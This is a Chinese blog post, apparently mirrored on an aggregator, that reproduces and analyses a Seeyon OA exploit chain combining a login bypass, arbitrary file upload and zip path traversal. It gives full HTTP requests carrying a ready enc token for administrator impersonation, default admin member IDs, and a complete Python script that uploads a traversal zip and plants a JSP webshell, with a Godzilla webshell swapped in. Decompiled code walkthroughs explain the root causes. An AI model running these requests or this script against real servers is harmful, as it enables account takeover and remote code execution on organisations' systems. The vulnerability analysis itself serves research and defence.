致远漏洞(登陆绕过+任意文件上传)

漏洞复现

1.获得cookie

POST /seeyon/thirdpartyController.do HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 133method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1

在这里插入图片描述
224791DA45D8CCAC687C1D40EB11A1AC
9D5488963545F408D71933161CCCAF53
每次请求都会得到一个cookie值,都可以用,如下:在这里插入图片描述
失败的cookie如下:在这里插入图片描述
2.上传zip文件

POST /seeyon/fileUpload.do?method=processUpload&maxSize= HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------1416682316313
Content-Length: 1079-----------------------------1416682316313
Content-Disposition: form-data; name="type"-----------------------------1416682316313
Content-Disposition: form-data; name="extensions"-----------------------------1416682316313
Content-Disposition: form-data; name="applicationCategory"-----------------------------1416682316313
Content-Disposition: form-data; name="destDirectory"-----------------------------1416682316313
Content-Disposition: form-data; name="destFilename"-----------------------------1416682316313
Content-Disposition: form-data; name="maxSize"-----------------------------1416682316313
Content-Disposition: form-data; name="isEncrypt"-----------------------------1416682316313
Content-Disposition: form-data; name="file1"; filename="123.zip"
Content-Type: application/x-zip-compressedzip文件
-----------------------------1416682316313--

注意这里zip文件直接burp右键paste from file放进去即可
在这里插入图片描述
在这里插入图片描述
这里压缩文件如上

3.解压压缩文件

POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.1.9 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=[0,"2024-02-23","-8399929361113331102"]

在这里插入图片描述
可以看到报错找不到指定文件,是因为我们压缩包中没有带layout.xml,其必须存在否则在利用解压漏洞时会解压失败空内容即可

注意上传目录:在这里插入图片描述
然后我重新生成zip文件在这里插入图片描述
再次解压,在这里插入图片描述
但是访问不到,应该这里有问题
在这里插入图片描述
在这里插入图片描述
因为解压出来的目录都为空,直接用下面脚本吧

这里利用脚本来进行攻击利用
223.py

# coding:utf-8
import time
import requests
import re
import sys
import random
import zipfilela = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0','Content-Type': 'application/x-www-form-urlencoded'}def generate_random_str(randomlength=16):random_str = ''base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'length = len(base_str) - 1for i in range(randomlength):random_str += base_str[random.randint(0, length)]return random_strmm = generate_random_str(8)webshell_name1 = mm+'.jsp'
webshell_name2 = '../'+webshell_name1def file_zip():shell = 'test'   ## 替换shell内容zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)zf.writestr('layout.xml', "")zf.writestr(webshell_name2, shell)def Seeyon_Getshell(urllist):url = urllist+'/seeyon/thirdpartyController.do'post = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"response = requests.post(url=url, data=post, headers=la)if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():cookie = response.cookiescookies = requests.utils.dict_from_cookiejar(cookie)jsessionid = cookies['JSESSIONID']file_zip()print( '获取cookie成功---->> '+jsessionid)fileurl = urllist+'/seeyon/fileUpload.do?method=processUpload&maxSize='headersfile = {'Cookie': "JSESSIONID=%s" % jsessionid}post = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver': "false", "type": '0','isEncrypt': "0"}file = [('file1', ('test.png', open(mm+'.zip', 'rb'), 'image/png'))]filego = requests.post(url=fileurl,data=post,files=file, headers=headersfile)time.sleep(2)else:print('获取cookie失败')exit()if filego.text:fileid1 = re.findall('fileurls=fileurls\+","\+\'(.+)\'', filego.text, re.I)fileid = fileid1[0]if len(fileid1) == 0:print('未获取到文件id可能上传失败!')print('上传成功文件id为---->>:'+fileid)Date_time = time.strftime('%Y-%m-%d')headersfile2 = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': "JSESSIONID=%s" % jsessionid}getshellurl = urllist+'/seeyon/ajax.do'data = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + Date_time + '%22%2C%22' + fileid + '%22%5D'getshell = requests.post(url=getshellurl,data=data,headers=headersfile2)time.sleep(1)webshellurl1 = urllist + '/seeyon/common/designer/pageLayout/' + webshell_name1shelllist = requests.get(url=webshellurl1)if shelllist.status_code == 200:print('利用成功webshell地址:'+webshellurl1)else:print('未找到webshell利用失败')def main():if (len(sys.argv) == 2):url = sys.argv[1]Seeyon_Getshell(url)else:print("python3 Seeyon_Getshell.py http://xx.xx.xx.xx")if __name__ == '__main__':main()

python.exe 223.py http://192.168.1.2
在这里插入图片描述
在这里插入图片描述
然后我们在本地找找文件上传目录在这里插入图片描述
因为脚本中加了…/,所以就在pageLayout根目录,如果不加…/会在2853431203184658860文件夹下面,
在这里插入图片描述
可以看到layout只需要有这个文件就行,0kb就行,所以我们上面手动的操作没问题,但是不知道哪有问题

我们改掉shell内容,为哥斯拉jsp在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到漏洞利用成功

漏洞原理

任意账户登录分析

首先搜索thirdpartyController.do接口
在这里插入图片描述
然后找到ThirdpartyController类路径
在这里插入图片描述
可以根据路由接口找到对应配置文件中类文件的映射找到类路径
在这里插入图片描述
根据exp知道调用了access方法

@NeedlessCheckLogin
public ModelAndView access(HttpServletRequest request, HttpServletResponse response) throws Exception {long time1 = System.currentTimeMillis();ModelAndView mv = new ModelAndView("thirdparty/thirdpartyAccess");Locale locale = LocaleContext.make4Frontpage(request);HttpSession session = request.getSession();String openFrom = request.getParameter("from");Long loginTime = System.currentTimeMillis();String enc = null;if (request.getParameter("enc") != null) {enc = LightWeightEncoder.decodeString(request.getParameter("enc").replaceAll(" ", "+"));} else {String transcode = URLDecoder.decode(request.getQueryString().split("enc=")[1]);enc = request.getQueryString().indexOf("enc=") > 0 ? LightWeightEncoder.decodeString(transcode) : null;}if (enc == null) {mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");return mv;} else {Map<String, String> encMap = new HashMap();String[] enc0 = enc.split("[&]");String[] link = enc0;int var14 = enc0.length;String path;String startTimeStr;for(int var15 = 0; var15 < var14; ++var15) {String enc1 = link[var15];String[] enc2 = enc1.split("[=]");if (enc2 != null) {path = enc2[0];startTimeStr = enc2.length == 2 ? enc2[1] : null;if (null != startTimeStr) {startTimeStr = URLEncoder.encode(startTimeStr);startTimeStr = startTimeStr.replaceAll("%3F", "");startTimeStr = URLDecoder.decode(startTimeStr);}encMap.put(path, startTimeStr);}}link = null;long memberId = -1L;Constants.login_useragent_from userAgentFrom = login_useragent_from.pc;String linkType = (String)encMap.get("L");path = (String)encMap.get("P");Long timeStamp;String link;if (Strings.isNotBlank(linkType)) {startTimeStr = "0";if (encMap.containsKey("T")) {startTimeStr = (String)encMap.get("T");startTimeStr = startTimeStr.trim();}timeStamp = 0L;if (NumberUtils.isNumber(startTimeStr)) {timeStamp = Long.parseLong(startTimeStr);}if (!"ucpc".equals(openFrom) && (System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {mv.addObject("ExceptionKey", "mail.read.alert.guoqi");return mv;}String _memberId = (String)encMap.get("M");if (_memberId == null) {mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");return mv;}memberId = Long.parseLong(_memberId);link = (String)UserMessageUtil.getMessageLinkType().get(linkType);if (link == null) {mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");return mv;}String[] linkParams = request.getParameterValues("P");MessageFormat formatter = new MessageFormat(link);int formatsCount = formatter.getFormats().length;if (linkParams != null) {if (formatsCount > linkParams.length) {String[] params = new String[formatsCount];for(int i = 0; i < params.length; ++i) {if (i < linkParams.length) {params[i] = linkParams[i];} else {params[i] = "";}}link = formatter.format(params);} else {link = formatter.format(linkParams);}} else {linkParams = new String[formatsCount];for(int i = 0; i < linkParams.length; ++i) {linkParams[i] = "";}link = formatter.format(linkParams);}} else {if (!Strings.isNotBlank(path)) {mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");return mv;}link = URLDecoder.decode(path);startTimeStr = (String)encMap.get("C");timeStamp = null;SSOTicketManager.TicketInfo ticketInfo = SSOTicketBean.getTicketInfoByticketOrname(startTimeStr);if (ticketInfo == null) {startTimeStr = startTimeStr.replaceAll(" ", "+");ticketInfo = SSOTicketBean.getTicketInfoByticketOrname(startTimeStr);}loginTime = ticketInfo.getCreateDate().getTime();if ("weixin".equals(ticketInfo.getFrom())) {userAgentFrom = login_useragent_from.weixin;}if (ticketInfo != null) {memberId = ticketInfo.getMemberId();}}if (memberId == -1L) {mv.addObject("ExceptionKey", "mail.read.alert.noUser");return mv;} else {boolean isNeedLogout = false;long time2 = System.currentTimeMillis();log.info("Param耗时" + (time2 - time1) + "MS");User currentUser = (User)session.getAttribute("com.seeyon.current_user");if (currentUser != null) {if (currentUser.getId() != memberId) {mv.addObject("ExceptionKey", "mail.read.alert.exists");return mv;}} else {V3xOrgMember member = this.orgManager.getMemberById(memberId);if (member == null) {mv.addObject("ExceptionKey", "mail.read.alert.noUser");return mv;}LocaleContext.setLocale(session, this.orgManagerDirect.getMemberLocaleById(member.getId()));currentUser = new User();currentUser.setLoginTimestamp(loginTime);session.setAttribute("com.seeyon.current_user", currentUser);AppContext.putThreadContext("SESSION_CONTEXT_USERINFO_KEY", currentUser);AppContext.initSystemEnvironmentContext(request, response, true);currentUser.setSecurityKey(UUIDLong.longUUID());currentUser.setId(memberId);currentUser.setName(member.getName());currentUser.setLoginName(member.getLoginName());currentUser.setAccountId(member.getOrgAccountId());currentUser.setLoginAccount(member.getOrgAccountId());currentUser.setDepartmentId(member.getOrgDepartmentId());currentUser.setLevelId(member.getOrgLevelId());currentUser.setPostId(member.getOrgPostId());currentUser.setInternal(member.getIsInternal());currentUser.setUserAgentFrom(userAgentFrom.name());currentUser.setSessionId(session.getId());currentUser.setRemoteAddr(Strings.getRemoteAddr(request));currentUser.setLocale(locale);BrowserEnum browser = BrowserEnum.valueOf(request);if (browser == null) {browser = BrowserEnum.IE;}currentUser.setBrowser(browser);UserHelper.setResourceJsonStr(JSONUtil.toJSONString(this.privilegeMenuManager.getResourceCode(currentUser.getId(), currentUser.getLoginAccount())));CurrentUser.set(currentUser);isNeedLogout = true;}long time3 = System.currentTimeMillis();log.info("User耗时" + (time3 - time2) + "MS");if (Strings.isNotBlank(linkType)) {Integer paramIndex = (Integer)VlinkeParamMap.get(linkType);String[] linkParams = request.getParameterValues("P");if (paramIndex != null && linkParams.length > paramIndex) {String paramValue = linkParams[paramIndex];if (Strings.isNotBlank(paramValue)) {String vlink = SecurityHelper.func_digest(paramValue);int _index = link.indexOf("&v=");if (Strings.isNotBlank(link) && _index > -1) {String beforeLink = link.substring(0, _index);String afterLink = link.substring(_index + 1, link.length());int _indexAfter = afterLink.indexOf("&");if (_indexAfter > -1) {afterLink = afterLink.substring(_indexAfter, afterLink.length());link = beforeLink + "&v=" + vlink + afterLink;} else {link = beforeLink + "&v=" + vlink;}} else {vlink = "&v=" + vlink;link = link + vlink;}}}}long time4 = System.currentTimeMillis();log.info("Link耗时" + (time4 - time3) + "MS");init();OnlineUser onlineUser = OnlineRecorder.getOnlineUser(currentUser.getLoginName());if (serverType == 2) {synchronized(isExceedMaxLoginNumberLock) {if (onlineUser == null) {boolean isExceedMaxLoginNumber = OnlineRecorder.isExceedMaxLoginNumberServer();if (isExceedMaxLoginNumber) {mv.addObject("ExceptionKey", "mail.read.alert.ExceedMaxLoginNumber");return mv;}}this.onlineManager.updateOnlineState(currentUser);}}link = link + (link.contains("?") ? "&" : "?") + "_isModalDialog=true";if (link.indexOf("&openFrom") > -1) {link = link + "&extFrom=" + (String)Strings.escapeNULL(openFrom, "");} else {link = link + "&openFrom=" + (String)Strings.escapeNULL(openFrom, "");}mv.addObject("link", link);mv.addObject("isNeedLogout", isNeedLogout);long time5 = System.currentTimeMillis();log.info("Online耗时" + (time5 - time4) + "MS");log.info("All耗时" + (time5 - time1) + "MS");return mv;}}
}

根据exp可以看到参数是enc,这就是致远独特的地方,先选定方法再选定参数在这里插入图片描述
enc参数不为null时候,调用LightWeightEncoder.decodeString方法解码在这里插入图片描述

public static String decodeString(String encodeString) {if (encodeString == null) {return null;} else {try {encodeString = new String((new Base64()).decode(encodeString.getBytes()));} catch (Exception var3) {log.warn(var3.getMessage());}char[] encodeStringCharArray = encodeString.toCharArray();for(int i = 0; i < encodeStringCharArray.length; ++i) {--encodeStringCharArray[i];}return new String(encodeStringCharArray);}
}

可以看到其功能是对传入的字符串base64解码,然后将解码后的字符串每一个字符向后移动一位
例如传入bcd->base64编码->调用decodeString->abc。

package com.example.zhiyuantools;import java.util.Base64;public class decode {public static void main(String[] args) {String encodedString = "YmNk";String decodedString = decodeString(encodedString);System.out.println("Decoded string: " + decodedString);}public static String decodeString(String encodedString) {if (encodedString == null) {return null;} else {try {byte[] decodedBytes = Base64.getDecoder().decode(encodedString);// Modify the decoded bytes if neededfor (int i = 0; i < decodedBytes.length; ++i) {--decodedBytes[i];}String decodedString = new String(decodedBytes);// Perform any additional processing if neededreturn decodedString;} catch (Exception e) {// Handle the exception gracefullye.printStackTrace();return null; // or handle it in a different way based on your requirement}}}
}

在这里插入图片描述
解码后继续往下看
在这里插入图片描述
这段将解码后的字符串分割,首先是将enc的值通过&分割成一个字符串列表,然后再进行遍历,再根据=再次分割字符串,将=前的值作为key放入encMap中,=后面的作为key的值 。如test=1&test2=2&test3=3,就会被拆成{“test”: 1,“test2”: 2, “test3”: 3}。在这里插入图片描述
上面这段代码是从encMap中根据键L、P、T、M拿到对应的值分别赋值给linkType、path、startTimeStr、_memberId。在这里插入图片描述
重点是要走到String _memberId = (String)encMap.get(“M”);那么我们就不能让

if (!"ucpc".equals(openFrom) && (System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {mv.addObject("ExceptionKey", "mail.read.alert.guoqi");return mv;
}

这部分返回,这里判断是openFrom等于ucpc,openFrom来自于from参数(那么我们exp数据包中没有传入form参数,那么第一个条件为1),另一个条件是当前时间是否大于了指定的时间,如果大于就返回mv走不到我们后面,timeStamp可控制,那么我们传入一个timeStamp很大和System.currentTimeMillis()一样的值,那么条件不成立走到我们需要的String _memberId = (String)encMap.get(“M”);这里。
接下来继续走在这里插入图片描述
这里link也很关键,如果为null也会直接返回,所以必须从linkType中获得值,那么我们看看getMessageLinkType方法在这里插入图片描述
跟入在这里插入图片描述
在这里插入图片描述
那么接下来看看哪里put传入了这个类型在这里插入图片描述
可以看到这里加载了/base/message-link.properties配置文件,然后传入值到messageLinkTypes在这里插入图片描述
随便挑一个给linkType赋值就可以绕过最后一个条件link不为null。
继续往下走,最关键的一步在这里插入图片描述
这段代码通过我们拿到的memberId作为参数调用了this.orgManager.getMemberById,这个方法大致就是通过memberId查找对应的用户,从别的师傅文章中得知,致远中存在几个默认的用户

"5725175934914479521"   "集团管理员"
"-7273032013234748168"  "系统管理员"
"-7273032013234748798"  "系统监控"
"-4401606663639775639"  "审计管理员"

我们只需要通过以上memberId就能查询出管理员用户信息,在391行,用新创建的User对象重新设置了session,并且将查询出来的用户信息设置到了currentUser对象中,这才导致了任意用户登录漏洞。

问题点:
但是最后发现我用https://fanygit.github.io/2023/04/27/%E8%87%B4%E8%BF%9COA%20A8-V5%20%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/参考文章的生成jsession发现不行,如下:在这里插入图片描述
在这里插入图片描述
加clientPath试试也不行,如下在这里插入图片描述
在这里插入图片描述
后面我将T改成我自己poc那个大小在这里插入图片描述
再次试验
在这里插入图片描述
在这里插入图片描述
成功,也就是作者给出的poc有问题,T没有绕过,我们这里增大T成功了

文件上传漏洞原理

在这里插入图片描述
根据配置文件找到对应类,找poc中用到的方法在这里插入图片描述
在这里插入图片描述
可以看到uploadFiles方法是三个参数,那么找方法
在这里插入图片描述
在这里插入图片描述
找到方法位置,代码如下:

private Map<String, V3XFile> uploadFiles(HttpServletRequest request, String allowExtensions, Map<String, File> destFiles, String destDirectory, Long maxSize) throws BusinessException {String allowExt = allowExtensions;User user = AppContext.getCurrentUser();if (user == null) {return null;} else if (!(request instanceof MultipartHttpServletRequest)) {throw new IllegalArgumentException("Argument request must be an instantce of MultipartHttpServletRequest. [" + request.getClass() + "]");} else {Date createDate = new Date();String dir;if (StringUtils.isNotBlank(destDirectory)) {dir = FilenameUtils.separatorsToSystem(destDirectory);} else {String ucFlag = request.getParameter("ucFlag");if ("yes".equals(ucFlag)) {dir = this.partitionManager.getFolderForUC(createDate, true);} else {dir = this.getFolder(createDate, true);}}MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request;Object maxUploadSizeExceeded = multipartRequest.getAttribute("MaxUploadSizeExceeded");if (maxUploadSizeExceeded != null) {if (maxSize != null && maxSize != 0L) {throw new BusinessException("fileupload.exception.MaxSize", new Object[]{Strings.formatFileSize(maxSize, false)});} else {throw new BusinessException("fileupload.exception.MaxSize", new Object[]{maxUploadSizeExceeded});}} else {Object ex = multipartRequest.getAttribute("unknownException");if (ex != null) {throw new BusinessException("fileupload.exception.unknown", new Object[]{ex});} else {Map<String, V3XFile> v3xFiles = new HashMap();Iterator<String> fileNames = multipartRequest.getFileNames();if (fileNames == null) {return null;} else {String isEncrypt = request.getParameter("isEncrypt");while(true) {Object name;do {do {if (!fileNames.hasNext()) {return v3xFiles;}name = fileNames.next();} while(name == null);} while("".equals(name));String fieldName = String.valueOf(name);List<MultipartFile> fileItemList = multipartRequest.getFiles(String.valueOf(name));for(int fileIndex = 0; fileIndex < fileItemList.size(); ++fileIndex) {MultipartFile fileItem = (MultipartFile)fileItemList.get(fileIndex);if (fileItem != null) {if (maxSize != null && fileItem.getSize() > maxSize) {throw new BusinessException("fileupload.exception.MaxSize", new Object[]{Strings.formatFileSize(maxSize, false)});}String filename = fileItem.getOriginalFilename().replace(' ', ' ').replace('?', ' ');String suffix = FilenameUtils.getExtension(filename).toLowerCase();if (!StringUtils.isEmpty(allowExt) && !StringUtils.isEmpty(suffix)) {allowExt = allowExt.replace(',', '|');if (!Pattern.matches(allowExt.toLowerCase(), suffix)) {throw new BusinessException("fileupload.exception.UnallowedExtension", new Object[]{allowExt});}}FileItem fi = new FileItemImpl(fileItem);FileUploadEvent event = new FileUploadEvent(this, fi);try {EventDispatcher.fireEventWithException(event);} catch (Throwable var30) {if (var30 instanceof BusinessException) {throw (BusinessException)var30;}throw new BusinessException(var30.getLocalizedMessage(), var30);}if (fi.getMessages().size() > 0) {request.setAttribute("upload.event.message", fi.getMessages());}long fileId = UUIDLong.longUUID();File destFile = null;try {if (destFiles != null && destFiles.get(fieldName) != null) {destFile = (File)destFiles.get(fieldName);destFile.getParentFile().mkdirs();} else {destFile = new File(dir + File.separator + fileId);}String encryptVersion = null;encryptVersion = CoderFactory.getInstance().getEncryptVersion();if (encryptVersion != null && !"no".equals(encryptVersion) && !"false".equals(isEncrypt)) {BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(destFile));CoderFactory.getInstance().upload(fi.getInputStream(), bos, encryptVersion);} else {fi.saveAs(destFile);}} catch (Exception var31) {throw new BusinessException("附件存盘时发生错误", var31);}V3XFile file = new V3XFile(fileId);file.setCreateDate(createDate);file.setFilename(filename);file.setSize(fi.getSize());file.setMimeType(fi.getContentType());file.setType(Constants.ATTACHMENT_TYPE.FILE.ordinal());file.setCreateMember(user.getId());file.setAccountId(user.getAccountId());String newKeyName = fieldName + "_" + (fileIndex + 1);v3xFiles.put(newKeyName, file);}}}}}}}
}

代码太长了,分开来看

File destFile = null;
try {if (destFiles != null && destFiles.get(fieldName) != null) {destFile = (File)destFiles.get(fieldName);destFile.getParentFile().mkdirs();} else {destFile = new File(dir + File.separator + fileId);}// ...
} catch (Exception var31) {throw new BusinessException("附件存盘时发生错误", var31);
}

在文件保存时,如果destFiles中已经存在对应的文件,则会直接使用,但没有对其进行安全验证。此外,即使创建了新的File对象,也没有对文件路径进行安全验证和清理,可能导致路径遍历漏洞。

String newKeyName = fieldName + "_" + (fileIndex + 1);
v3xFiles.put(newKeyName, file);

在构造newKeyName时使用了原始的fieldName,但没有对其进行安全验证和清理,可能导致键名中包含特殊字符或路径遍历漏洞。

文件最大值maxSize属性,我们可以自行修改
没有检测文件内容和文件名,只对空格做了普通空格转换,对问号进行过滤,因此直接任意文件上传+目录遍历

解压压缩文件漏洞原理

POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.1.9 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=[0,"2024-02-23","-8399929361113331102"]

根据managerName为portalDesignerManager,全局搜索
必须是有portalDesignerManager类才行,A8+/V7.0SP1版本没有这个类,所以没有这个漏洞,在seeyon-ctp-portal.jar在这里插入图片描述
方法为uploadPageLayoutAttachment传递的参数为[0,“2024-02-23”,“-8399929361113331102”]

attchmentIdStr=0
createDate=2024-02-23
fileUrl=-8399929361113331102

在这里插入图片描述
rootPath为上传时产生的文件夹。(日期命名 年-月-日),fileUrl为上传时返回的 fileid,后面直接使用ZipUtil进行解压,解压后的路径是common/designer/pageLayout+一层uuid。这里可以尝试跨目录。

参考文章:
https://www.adminxe.com/2479.html
https://blog.csdn.net/weixin_43227251/article/details/115616761
https://www.adminxe.com/2479.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/44425.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

uni-app三部曲之一: Pinia使用

1.引言 最近在学习移动端的开发&#xff0c;使用uni-app前端应用框架&#xff0c;通过学习B站的视频以及找了一个开发模板&#xff0c;终于是有了一些心得体会。 B站视频1&#xff1a;Day1-01-uni-app小兔鲜儿导学视频_哔哩哔哩_bilibili B站视频2&#xff1a;01-课程和uni的…

简述设计模式-策略模式

概述 在策略模式中一个类的行为或者算法可以在运行时更改&#xff0c;这种类型的设计模式属于行为型模式。 在策略模式中定义了一系列的算法和策略&#xff0c;并将每个算法封装在独立的类中&#xff0c;使得他们能够互相替换&#xff0c;通过使用策略模式可以在运行时选择不…

java 实现Comparable接口和实现Comparator接口排序的区别

Comparable接口 作用&#xff1a; Comparable接口是在类的内部实现的&#xff0c;用于指定类的默认比较规则。当一个类实现了Comparable接口时&#xff0c;它必须实现compareTo方法&#xff0c;该方法用于定义对象之间的自然顺序。 实现方式&#xff1a; 实现Comparable接口的…

洛谷P10716【MX-X1-T4】「KDOI-05」简单的字符串问题(扩展kmp+set+二分+扫描线树状数组)

题目 思路来源 小羊肖恩 题解 羊神这个做法tql&#xff0c;当时只是机械地写&#xff0c;过了之后再想想&#xff0c;才觉得确实是nb 先扩展kmp&#xff08;Z函数&#xff09;预处理出来数组&#xff0c;记z[i]为i往后可以和前缀匹配的最大长度 对于每个询问(p,cnt)&#x…

centOS79中安装nginx12.15

##red## &#x1f534; 大家好&#xff0c;我是雄雄&#xff0c;欢迎关注微信公众号&#xff0c;雄雄的小课堂。 前言 装了这么多&#xff0c;发现Nginx是最简单的&#xff0c;一次性就搞定了。下面我们来看看如何安装 安装Nginx 安装gcc-c编译器 分开运行&#xff1a; yum…

anaconda安装pytorch

&#x1f4da;博客主页&#xff1a;knighthood2001 ✨公众号&#xff1a;认知up吧 &#xff08;目前正在带领大家一起提升认知&#xff0c;感兴趣可以来围观一下&#xff09; &#x1f383;知识星球&#xff1a;【认知up吧|成长|副业】介绍 ❤️如遇文章付费&#xff0c;可先看…

python爬虫入门(三)之HTML网页结构

一、什么是HTML 1、网页的三大技术要素&#xff1a; HTML定义网页的结构和信息&#xff08;骨架血肉&#xff09;CSS定义网页的样式&#xff08;衣服&#xff09;JavaScript定义用户和网页的交互逻辑&#xff08;动作&#xff09; 2、一个最简单的HTML&#xff1a;用<>…

Qt开发 | qss介绍及控件应用 | qss加载方式 | 控件提升 | 鼠标位置与控件位置 | 搜索编辑框 | tab在左文本水平的tabWidget

文章目录 一、qss简介与应用二、QLineEdit qss介绍与使用三、QPushButton qss1.常用qss1.1 基本样式表1.2 背景图片1.3 图片在左文字在右 2.点击按钮弹出菜单以及右侧箭头样式设置3.鼠标悬浮按钮弹出对话框 四、QCheckBox qss妙用&#xff1a;实时打开关闭状态按钮五、QComboBo…

丑数问题,力扣264,坑点

丑数问题&#xff0c;力扣264&#xff0c;坑点 力扣链接 给你一个整数 n &#xff0c;请你找出并返回第 n 个 丑数 。 丑数 就是质因子只包含 2、3 和 5 的正整数。 示例 1&#xff1a; 输入&#xff1a;n 10 输出&#xff1a;12 解释&#xff1a;[1, 2, 3, 4, 5, 6, 8, 9, …

《昇思25天学习打卡营第01天|qingyun201003》

打卡 日期 心得 我的主语言并不是Python,以及现在从事的工作也并不是开发&#xff1b;所以对于这个系列的课程&#xff0c;学习起来是较为困难的&#xff0c;所以基于这种情况&#xff0c;该如何进行学习&#xff1f;我的做法是全部交给AI&#xff0c;使用AI一步步解析代码&a…

java.lang.NullPointerException: null cannot be cast to non-null type kotlin.Int

java.lang.NullPointerException: null cannot be cast to non-null type kotlin.Int fun main(args: Array<String>) {var any1: Any?any1 nullval n1 any1 as? Int ?: -2024println(n1)kotlin.runCatching {var any2: Any?any2 nullval n2 any2 as Intprintln(…

Internet Download Manager6.42最新下载器互联网冲浪小能手们!

今天我要来种草一个超级棒的宝贝——Internet Download Manager&#xff08;简称 IDM&#xff09;。这个小家伙简直是下载界的“速度与激情”代言人&#xff0c;让我彻底告别了等待的日子。&#x1f389; IDM马丁正版下载如下: https://wm.makeding.com/iclk/?zoneid34275 …

299k stars利用Public APIs提升开发效率:探索APILayer提供的开源资源

299k stars利用Public APIs提升开发效率&#xff1a;探索APILayer提供的开源资源 在现代软件开发中&#xff0c;API&#xff08;应用程序接口&#xff09;是实现应用间通信和功能扩展的关键工具。公共API&#xff08;Public APIs&#xff09;则为开发者提供了宝贵的资源&#…

昇思25天学习打卡营第15天|基于 MindSpore 实现 BERT 对话情绪识别

文章目录 昇思MindSpore应用实践1、基于 MindSpore 实现 BERT 对话情绪识别BERT 模型简介数据集数据加载和数据预处理 2、模型训练模型验证 3、模型推理 Reference 昇思MindSpore应用实践 本系列文章主要用于记录昇思25天学习打卡营的学习心得。 1、基于 MindSpore 实现 BERT…

解决IDEA每次新建项目都需要重新配置maven的问题

每次打开IDEA都要重新配置maven&#xff0c;这是因为在DEA中分为项目设置和全局设置&#xff0c;这个时候我们就需要去到全局中设置maven了。我用的是IntelliJ IDEA 2023.3.4 (Ultimate Edition)&#xff0c;以此为例。 第一步&#xff1a;打开一个空的IDEA&#xff0c;选择左…

数据结构day6链式队列

主程序 #include "fun.h" int main(int argc, const char *argv[]) { que_p Qcreate(); enqueue(Q,10); enqueue(Q,20); enqueue(Q,30); enqueue(Q,40); enqueue(Q,50); show_que(Q); dequeue(Q); show_que(Q); printf(&qu…

stm32按键设置闹钟数进退位不正常?如何解决

&#x1f3c6;本文收录于《CSDN问答解惑-专业版》专栏&#xff0c;主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&收…

李彦宏: 开源模型是智商税|马斯克: OpenAI 闭源不如叫 CloseAI

